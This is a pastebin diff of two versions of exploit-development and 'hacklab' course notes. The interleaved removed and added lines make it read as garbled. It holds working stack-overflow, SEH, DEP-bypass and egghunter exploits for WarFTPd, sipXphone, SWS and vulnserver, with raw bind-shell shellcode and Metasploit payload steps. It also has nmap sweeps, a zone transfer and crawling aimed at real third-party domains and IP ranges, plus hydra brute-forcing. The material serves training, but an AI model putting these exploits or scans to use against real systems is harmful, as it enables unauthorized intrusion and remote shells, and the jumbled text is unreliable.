View difference between Paste ID: Xjr7eQnp and fQbamWpX

-Exploit Development Course
+Ultimate Hacklab
 
 
-##########################
+
-# Download the attack VM #
+
-##########################
+Download the FreeFloat FTP Server exploit walk-through:
-https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu14.zip
+https://s3.amazonaws.com/infosecaddictsfiles/ff.zip
-user: strategicsec
+
-pass: strategicsec
+                            #################################
 ----------- ############### # Day 1: Advanced Scanning Labs # ############### -----------
                             #################################
-cd /home/strategicsec/toolz/metasploit
+
-mkdir DLLs
+
-cd DLLs
+---------------------------Type This-----------------------------------
-wget https://s3.amazonaws.com/StrategicSec-Files/ExploitDev/DLLs.zip
+cd ~
-unzip DLLs.zip
+
 mkdir toolz
 
 cd toolz
 
 wget https://dl.packetstormsecurity.net/UNIX/scanners/blindcrawl.pl
-https://s3.amazonaws.com/StrategicSec-VMs/XPSP3-ED-Target.zip
+
 perl blindcrawl.pl -d motorola.com
 -----------------------------------------------------------------------
 
 
-https://s3.amazonaws.com/StrategicSec-VMs/Strategicsec-XP-ED-Attack-Host.zip
+-- Take each IP address and look ip up here:
 http://www.networksolutions.com/whois/index.jsp
 
 
 Zone Transfer fails on most domains, but here is an example of one that works:
 ---------------------------Type This-----------------------------------
 dig axfr heartinternet.co.uk  @ns.heartinternet.co.uk
 
 
 cd ~/toolz/
-# Lab 1a: Stack Overflows #
+
 wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
 
-	#############################
+gcc ipcrawl.c -o ipcrawl
-	# Start WarFTPd			    #
+
-	# Start WinDBG			    #
+chmod 777 ipcrawl
-	# Press F6			        #
+
-	# Attach to war-ftpd.exe	#
+./ipcrawl 148.87.1.1 148.87.1.254
-	#############################
+
-cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a
+
 sudo nmap -sL 148.87.1.0-255
      strategicsec
 
 
-	At WINDBG prompt
+sudo nmap -sL 148.87.1.0-255 | grep oracle
-	“r” to show registers or “alt+4”
+     strategicsec
 -----------------------------------------------------------------------
-	dd esp
+
 
 
 
 ########################
 # Scanning Methodology #
-	At WINDBG prompt
+########################
-	“r” to show registers or “alt+4”
+
-	dd esp
+- Ping Sweep
 What's alive?
-	Eip: 32714131
+------------
-	esp: affd58		(71413471)
+
 ---------------------------Type This-----------------------------------
-	Now we need to SSH into the StrategicSec Ubuntu host
+sudo nmap -sP 157.166.226.*
 -----------------------------------------------------------------------
-	cd /home/strategicsec/toolz/metasploit/tools/exploit
+
     -if -SP yields no results try:
-	ruby pattern_offset.rb 32714131
+---------------------------Type This-----------------------------------
-	485
+sudo nmap -sL 157.166.226.*
 -----------------------------------------------------------------------
-	ruby pattern_offset.rb 71413471
+
-	493
+    -Look for hostnames:
 ---------------------------Type This-----------------------------------
-	Distance to EIP is: 		485
+sudo nmap -sL 157.166.226.* | grep com
-	Relative position of ESP is: 	493
+-----------------------------------------------------------------------
 
-	RET – POP EIP
+
-	RET 4 – POP EIP and shift ESP down by 4 bytes
+- Port Scan
 What's where?
-	cd /home/strategicsec/toolz/metasploit/
+------------
-	./msfpescan -j ESP DLLs/xpsp3/shell32.dll
+---------------------------Type This-----------------------------------
 sudo nmap -sS 162.243.126.247
-		0x7c9c167d push esp; retn 0x304d
+-----------------------------------------------------------------------
-		0x7c9d30d7 jmp esp < - how about we use this one
+
-		0x7c9d30eb jmp esp
+
-		0x7c9d30ff jmp esp
+- Bannergrab/Version Query
 What versions of software are running
 -------------------------------------
-		warftpd3.py with Notepad++
+---------------------------Type This-----------------------------------
-		Fill in the appropriate values
+sudo nmap -sV 162.243.126.247
-		Distance to EIP
+-----------------------------------------------------------------------
-		Address of JMP ESP
+
 - Vulnerability Research
 Lookup the banner versions for public exploits
 ----------------------------------------------
 http://exploit-db.com
 http://securityfocus.com/bid
-	0:003> dd eip
+
-	0:003> dd esp
+
 
 
 
 
 
-	Mention bad characters
+
-	No debugger
+
 
 
 
 
 
 
 ##############################
 # Scanning Process to follow #
 ##############################
--------------------------------------------------------------
+Step 1: Ping Sweep
 ------------------
-There are 2 things that can go wrong with shellcode. The first thing is a lack of space, and the second is bad characters.
+nmap -sP <IP-ADDRESS-RANGE>
 nmap -sL <IP-ADDRESS-RANGE>
-Shellcode test 1: Calculate space for shellcode
+
-Look in the warftpd3.py script for the shellcode variable. Change the length of the shellcode being send to test how much you can send before the CCs truncate.
+
 Step 2: Port Scan
 -----------------
 nmap -sS <IP-ADDRESS>
 
 
-Shellcode test 2: Identify bad characters
+Step 3: Bannergrab
 ------------------
-Replace the INT3 (cc) dummy shellcode with this string:
+nmap -sV <IP-ADDRESS>
-"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
+nmap -sV -p- <IP-ADDRESS>
     |
     ----> Vulnerability Research
-Send this new shellcode string and identify the places where it truncates - these are the bad characters
+
 
 Step 4: Vulnerability Scan the webservers
 -----------------------------------------
 git clone https://github.com/sullo/nikto.git Nikto2
-Here is what the string looks like after I manually tested and removed each of the bad characters:
+
-shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
+cd Nikto2/program
 
 perl nikto.pl -h <IP-ADDRESS>
 
 
-./msfvenom -p windows/shell/bind_tcp -f python -b '\x00\x0a\x0d\x40'
+
 Step 5: Directory Bruteforce
 --------------------
 sudo apt install -y libcurl4-openssl-dev
 
 git clone https://github.com/v0re/dirb.git
 
 cd dirb/
 
 ./configure
 
 make
 
 ./dirb
 
 ./dirb http://<IP-ADDRESS> wordlists/big.txt
 
 
 
-	At WINDBG prompt
+
-	“r” to show registers or “alt+4”
+
 Step 6: Bruteforce any services you find
-	dd esp
+----------------------------------------
  root@kali:~# hydra -L username.txt -P passlist.txt ftp://<IP-ADDRESS
  root@kali:~# hydra -l user -P passlist.txt ftp://<IP-ADDRESS
 
 
 
 
 
-	At WINDBG prompt
+
-	“r” to show registers or “alt+4”
+
-	dd esp
+------- Learning the guts of exploit development ------------------
 Day 1: Exploit Research
-	Eip: 32714131
+http://www.securitytube.net/groups?operation=view&groupId=7
-	esp: affd58		(71413471)
+
 Day 2: Python Hacking
-	Now we need to SSH into the StrategicSec Ubuntu host
+https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (videos 1-10 if you are a complete beginner)
 https://www.youtube.com/playlist?list=PL1A2CSdiySGLtKwqBnqj9BON6QQjWkP4n (entire playlist)
-	cd /home/strategicsec/toolz/metasploit/tools/exploit
+
 
-	ruby pattern_offset.rb 32714131
+Ensure that your Linux host can ping your Windows XP host (aka: The Green Machine)
-	485
+
 
-	ruby pattern_offset.rb 71413471
+From your Linux host - please type the following commands
-	493
+---------------------------Type This-----------------------------------
 cd ~
 
 wget https://s3.amazonaws.com/infosecaddictsfiles/ED-Workshop-Files.zip
 
 unzip ED-Workshop-Files.zip
 
 cd ED-Workshop-Files
 
 ---------------------------Type This-----------------------------------
 
 cd Lab1a
 
 
 python warftpd1.py | nc XPSP3-ED-Target-IP 21
 -----------------------------------------------------------------------
 
     At WINDBG prompt
     “r” to show registers or “alt+4”
 
 ---------------------------Type This-----------------------------------
-	0:003> dd eip
+
-	0:003> dd esp
+    dd esp
 -----------------------------------------------------------------------
 
 ---------------------------Type This-----------------------------------
 
 python warftpd2.py | nc XPSP3-ED-Target-IP 21
 -----------------------------------------------------------------------
 
 
     At WINDBG prompt
     “r” to show registers or “alt+4”
 
 ---------------------------Type This-----------------------------------
 
     dd esp
 -----------------------------------------------------------------------
 
     Eip: 32714131
     esp: affd58     (71413471)
 
     Now we need to SSH into the StrategicSec Ubuntu host
 
 ---------------------------Type This-----------------------------------
 
     cd /home/strategicsec/toolz/metasploit/tools
 
     ruby pattern_offset.rb 32714131
     485
 
     ruby pattern_offset.rb 71413471
     493
 -----------------------------------------------------------------------
 
     Distance to EIP is:         485
     Relative position of ESP is:    493
 
-Then we need to jump to the LdrpCheckNXCompatibility routine in
+    RET – POP EIP
     RET 4 – POP EIP and shift ESP down by 4 bytes
 
 ---------------------------Type This-----------------------------------
 
     cd /home/strategicsec/toolz/metasploit/
     ./msfpescan -j ESP DLLs/xpsp3/shell32.dll
 -----------------------------------------------------------------------
 
         0x7c9c167d push esp; retn 0x304d
         0x7c9d30d7 jmp esp < - how about we use this one
         0x7c9d30eb jmp esp
         0x7c9d30ff jmp esp
 
 
         warftpd3.py with Notepad++
         Fill in the appropriate values
         Distance to EIP
         Address of JMP ESP
 
 
 ---------------------------Type This-----------------------------------
 
 python warftpd3.py | nc XPSP3-ED-Target-IP 21
-This set of instructions makes sure that AL is set to 1, 2 is pushed
+
     0:003> dd eip
     0:003> dd esp
 -----------------------------------------------------------------------
 
 
 
 
 
     Mention bad characters
     No debugger
 
 
 ---------------------------Type This-----------------------------------
 
-	#############################
+
-	# Start WarFTPd			    #
+
-	# Start WinDBG			    #
+
-	# Press F6			        #
+-----------------------------------------------------------------------
-	# Attach to war-ftpd.exe	#
+
-	# bp 0x775ee00e			    #
+
-	# g				            #
+
-	#############################
+
 # Lab 1b: Stack Overflows with DEP Bypass #
 ###########################################
 
 Reboot your target host and choose the "2nd" option for DEP.
 
 
----------------------------------------------------------------------------
+
 
 
-	mov al,0x1
+---------------------------Type This-----------------------------------
-	ret 0x4
+
 python warftpd1.py | nc XPSP3-ED-Target-IP 21
 
     At WINDBG prompt
     “r” to show registers or “alt+4”
-0:005> g
+
-Breakpoint 0 hit
+    dd esp
-eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
+
-eip=775ee00e esp=00affd58 ebp=00affdb0 iopl=0         nv up ei pl nz ac pe nc
+
-cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
+
-ole32!CSSMappedStream::IsWriteable:
+
-775ee00e b001            mov     al,1
+
 
 
-0:001> t
+    At WINDBG prompt
-eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
+    “r” to show registers or “alt+4”
-eip=775ee010 esp=00affd58 ebp=00affdb0 iopl=0         nv up ei pl nz ac pe nc
+    dd esp
-cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
+-----------------------------------------------------------------------
-ole32!CSSMappedStream::IsWriteable+0x2:
+
-775ee010 c20400          ret     4
+    Eip: 32714131
     esp: affd58     (71413471)
 
     Now we need to SSH into the StrategicSec Ubuntu host
 
 ---------------------------Type This-----------------------------------
----------------------------------------------------------------------------
+
-Ok, so inside of ntdll.dll we need to find the following instructions:
+    cd /home/strategicsec/toolz/metasploit/tools
 
-	CMP AL,1
+    ruby pattern_offset.rb 32714131
-	PUSH 2
+    485
-	POP ESI
+
-	JE ntdll.7
+    ruby pattern_offset.rb 71413471
     493
-0:001> t
+
-eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
+
-eip=7c91cd24 esp=00affd60 ebp=00affdb0 iopl=0         nv up ei pl nz ac pe nc
+
-cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
+
-ntdll!LdrpCheckNXCompatibility+0x13:
+
-7c91cd24 3c01            cmp     al,1
+
 
 
-0:001> t
+cd /home/strategicsec/toolz/metasploit/tools
-eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
+
-eip=7c91cd26 esp=00affd60 ebp=00affdb0 iopl=0         nv up ei pl zr na pe nc
+
-cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
+
-ntdll!LdrpCheckNXCompatibility+0x15:
+
-7c91cd26 6a02            push    2
+
 ./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
 
-0:001> t
+
-eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
+
-eip=7c91cd28 esp=00affd5c ebp=00affdb0 iopl=0         nv up ei pl zr na pe nc
+
-cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
+
-ntdll!LdrpCheckNXCompatibility+0x17:
+    0:003> dd eip
-7c91cd28 5e              pop     esi
+    0:003> dd esp
 
 INT3s - GOOD!!!!!!!
-0:001> t
+
-eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=00000002 edi=00affe58
+
-eip=7c91cd29 esp=00affd60 ebp=00affdb0 iopl=0         nv up ei pl zr na pe nc
+
-cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
+
-ntdll!LdrpCheckNXCompatibility+0x18:
+
-7c91cd29 0f84df290200    je      ntdll!LdrpCheckNXCompatibility+0x1a (7c93f70e) [br=1]
+
 -----------------------------------------------------------------------
 
----------------------------------------------------------------------------
+
 strategicsec....exploit no workie!!!!
 
 
 Why????????? DEP!!!!!!!!!!!!!
 
 
 
 
-##########################
+
-# Lab 1c: SEH Overwrites #
+
-##########################
+
 ret 0x4
-	#################################################
+
-	# On our VictimXP Host (XPSP3-ED-Target-IP)	    #
+
-	# Start sipXexPhone if it isn’t already running #
+
-	# Start WinDBG					                #
+
-	# Press “F6” and Attach to sipXexPhone.exe	    #
+---------------------------Type This-----------------------------------
-	# Press “F5” to start the debugger		        #
+
-	#################################################
+
 -----------------------------------------------------------------------
 
-cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1c\sipx_complete
+
 0x775ee00e b001c204
 0x775ee00e      mov al, 1
 0x775ee010      ret 4
-python sipex0.py XPSP3-ED-Target-IP
+
 
-	0:003> !exchain
+Then we need to jump to the LdrpCheckNXCompatibility routine in
-	0:003> dds esp
+
-	0:003> dds
+
 
-python sipex1.py XPSP3-ED-Target-IP
+
 Inside of ntdll.dll we need to find the following instructions:
-	0:003> !exchain
+
-	0:003> g
+
 PUSH 2
-	When looking at !exchain you should see that EIP is 41414141, so let’s add more characters.
+
 JE ntdll.7
 
-python sipex2.py XPSP3-ED-Target-IP
+
 ---------------------------Type This-----------------------------------
-	0:003> !exchain
+
-	0:003> g
+
 -----------------------------------------------------------------------
 
-	***ssh into instructor Ubuntu host***
+
-	cd /home/strategicsec/toolz/metasploit/tools/exploit
+
-	ruby pattern_offset.rb 41346941				We should see that SEH is at 252
+
 0x7c91cd26      push 2
 0x7c91cd28      pop esi
 0x7c91cd29      jz 7
-	!load narly
+
-	!nmod
+
 This set of instructions makes sure that AL is set to 1, 2 is pushed
-	***ssh into the Ubuntu host***
+
-	ls /home/strategicsec/toolz/metasploit/DLLs/xpsp3/sipXDLLs/
+
-	cd /home/strategicsec/toolz/metasploit/
+
-	./msfpescan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll
+
 
 ---------------------------Type This-----------------------------------
-	#####################################
+
-	# sipex3.py in Notepad++.		    #
+
-	# Set cseq = 252			        #
+
-	# Set seh2 address to: 0x10015977	#
+
-	#####################################
+
 "A"*0x54
 
-python sipex3.py XPSP3-ED-Target-IP
+
-	0:003> !exchain
+
 
-python sipex4.py XPSP3-ED-Target-IP
+
 
 nc XPSP3-ED-Target-IP 4444
 -----------------------------------------------------------------------
 https://packetstormsecurity.com/files/tags/exploit/
 
 
 
 
 
-Brush up on the basics of Structured Exception Handlers:
+------ Learning the GUTS of exploit development ----------------
-http://www.securitytube.net/video/1406
+
-http://www.securitytube.net/video/1407
+
-http://www.securitytube.net/video/1408
+
 
 
 
 
-Here are the slides for the exploit dev basics:
+
-https://s3.amazonaws.com/StrategicSec-Files/ExploitDev/Exploit+Dev+For+Mere+Mortals+-+Part+1+-+Getting+Started.pptx
+
-https://s3.amazonaws.com/StrategicSec-Files/ExploitDev/Exploit+Dev+For+Mere+Mortals+-+Part+2+-+The+Process.pptx
+
-https://s3.amazonaws.com/StrategicSec-Files/ExploitDev/Exploit+Dev+For+Mere+Mortals+-+Part+4+-+Windows+Stack+Overflows.pptx
+
 
 
-Here are the exploit dev basic videos:
+
-https://s3.amazonaws.com/StrategicSec-Videos/2013-10-01+20.21+Exploit+Dev+Night+School+October+2013.wmv
+
-https://s3.amazonaws.com/StrategicSec-Videos/2013-10-03+19.11+Exploit+Dev+Night+School+October+2013.wmv
+##############################
-https://s3.amazonaws.com/StrategicSec-Videos/2013-10-08+19.10+Exploit+Dev+Night+School+October+2013.wmv
+# Scanning Process to follow #
-https://s3.amazonaws.com/StrategicSec-Videos/2013-10-10+19.03+Exploit+Dev+Night+School+October+2013.wmv
+##############################
-https://s3.amazonaws.com/StrategicSec-Videos/2013-10-17+19.13+Exploit+Dev+Night+School+October+2013.wmv
+Step 1: Ping Sweep
 ------------------
 nmap -sP <IP-ADDRESS-RANGE>
 nmap -sL <IP-ADDRESS-RANGE>
-Recommended videos on Structured Exception Handling:
+
-http://www.securitytube.net/video/1406
+
-http://www.securitytube.net/video/1407
+Step 2: Port Scan
-http://www.securitytube.net/video/1408
+-----------------
 nmap -sS <IP-ADDRESS>
 
-########################################
+
-# Lab 2a: Not Enough Space (Egghunter) #
+Step 3: Bannergrab
-########################################
+
 nmap -sV <IP-ADDRESS>
-cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\sws_skeleton
+nmap -sV -p- <IP-ADDRESS>
 	|
-SWS - SIMPLE WEB SERVER
+	----> Vulnerability Research
------------------------
+
 
-Running SWS on Strategicsec-XP-ED-Target-VM
+Step 4: Vulnerability Scan the webservers
-Start > Programs > Simple Web Server (it's in the middle somewhere)
+-----------------------------------------
-Red icon in system tray
+git clone https://github.com/sullo/nikto.git Nikto2
-Double click it
+
-- it will pop up a menu
+cd Nikto2/program
-- select "start"
+
-- dialog box shows starting params - port 82
+perl nikto.pl -h <IP-ADDRESS>
 
-WinDBG
+
-- attach to "server.exe"
+
 Step 5: Directory Bruteforce
 --------------------
-python sws1.py | nc XPSP3-ED-Target-IP 82
+sudo apt install -y libcurl4-openssl-dev
 
 git clone https://github.com/v0re/dirb.git
 
-python sws2.py | nc XPSP3-ED-Target-IP 82
+cd dirb/
 
 ./configure
-SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
+
 make
-ruby pattern_offset.rb 41356841				<------- You should see that EIP is at 225
+
-ruby pattern_offset.rb 68413668				<------- You should see that ESP is at 229
+./dirb
 
 ./dirb http://<IP-ADDRESS> wordlists/big.txt
 
 
 
 
 
 Step 6: Bruteforce any services you find
-EGGHUNTER:
+----------------------------------------
-----------
+ root@kali:~# hydra -L username.txt -P passlist.txt ftp://<IP-ADDRESS
  root@kali:~# hydra -l user -P passlist.txt ftp://<IP-ADDRESS
-"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
+
-"\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
+
-          ^^^^^^^^^^^^^^^^
+
-               ABBA
+
-                                         JMP ESP
+
-                                        /
+
-                                       /
+                            ##############################
-GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
+----------- ############### # Day 2: Stack Overflow Labs # ############### -----------
-User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
+                            ##############################
 
 
 
 
------sws3.py-----
+
-#!/usr/bin/python2
+#######################################
 # Download the class virtual machines #
-import os # for output setting
+#######################################
-import sys
+
-import struct # for pack function
+
 https://s3.amazonaws.com/infosecaddictsvirtualmachines/XPSP3-ED-Target.zip
-# turn off output buffer and set binary mode
+
-sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0)
+
 
 
-pad = "A" * 225        # distance to EIP
+https://s3.amazonaws.com/infosecaddictsvirtualmachines/Strategicsec-XP-ED-Attack-Host.zip
-eip = 0x7e429353       # replace EIP to point to "jmp esp" from user32.dll
+
 pass: 	strategicsec
-egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
+
-egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
+
 
-shellcode = "\xCC" * 700
+https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
     username: workshop
-buf = "GET /"
+    password: password
-buf += pad + struct.pack('<I', eip) + egghunter
+
-buf += " HTTP/1.0\r\n"
+
-buf += "User-Agent: ABBAABBA"
+
-buf += shellcode
+
-buf += " HTTP/1.0\r\n"
+
 
-sys.stdout.write(buf)
+
------
+
 # Download this file on your windows VM #
-############################################
+
-# Lab 2b: Not Enough Space (Negative Jump) #
+https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip
-############################################
+https://s3.amazonaws.com/infosecaddictsfiles/SLmail5-5-Exploit.zip
 
-cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\modjk_skeleton
+
 
 
-[pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
+#####################################
 # Quick Stack Based Buffer Overflow #
-									^
+#####################################
-1 ----------------------1 overflow the buffer---------------------------|
+
-
+- You can download everything you need for this exercise (except netcat) from the link below
-									^		             ^
+https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip
-									|
+
-									2 ----jump over seh record---|
+- Extract this zip file to your Desktop
 
-												     ^				^
+- Go to folder C:\Users\Workshop\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
-												     |
+
-												     3--POP 2 words off stack---|
+- Open a new command prompt and type:
 nc localhost 9999
-																	^
+
-4 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
+- In the new command prompt window where you ran nc type:
 HELP
 
 - Go to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts
-# Lab 2c: Not Enough Space (Trampoline) #
+- Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
 
 - Now double-click on 1-simplefuzzer.py
-cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
+- You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
-On the Strategicsec-XP-ED-Target-VM VM
+
 
-- open a command prompt
+- Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
-- c:\software\tftpd32
+
-- run tftpd32.exe
+- Now go to folder C:\Users\Workshop\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
-- UDP port 69
+
-(socket code is already in the scripts)
+- Go back to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
 
 - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
 
 - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
-On your attack host please install:
+
 - Calculate the distance to EIP by running script 3-3000chars.py
 - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
-  NASM - Netwide Assembler
+
 4-count-chars-to-EIP.py
 - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
 - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
 
 5-2006char-eip-check.py
------------------------------------------------------------------------------------------------------------------
+- In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
 
 6-jmp-esp.py
-We want to generate the shellcode (BIND SHELL on Port 4444)
+- In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
-- No restricted characters
+
-- Encoder: NONE
+7-first-exploit
 - In this script we actually do the stack overflow and launch a bind shell on port 4444
-Create a Python file called dumpshellcode.py
+
 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
----
+
-#!/usr/bin/python2
+
 ------------------------------
-import os
+
-import sys
+cd /home/strategicsec/toolz/metasploit/modules/exploits/windows/misc
-import struct
+
 vi vulnserv.rb    (paste the code into this file)
 
-# win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
+
-shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
+
-shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
+cd ~/toolz/metasploit
-shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
+
-shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
+./msfconsole
-shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
+
-shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
+
-shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
+
-shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
+use exploit/windows/misc/vulnserv
-shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
+set PAYLOAD windows/meterpreter/bind_tcp
-shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
+set RHOST 192.168.88.129
-shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
+set RPORT 9999
-shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
+exploit
-shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
+
-shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
+---------------------------------------------------------------------
-shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
+Day 1 Challenge:
-shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
+
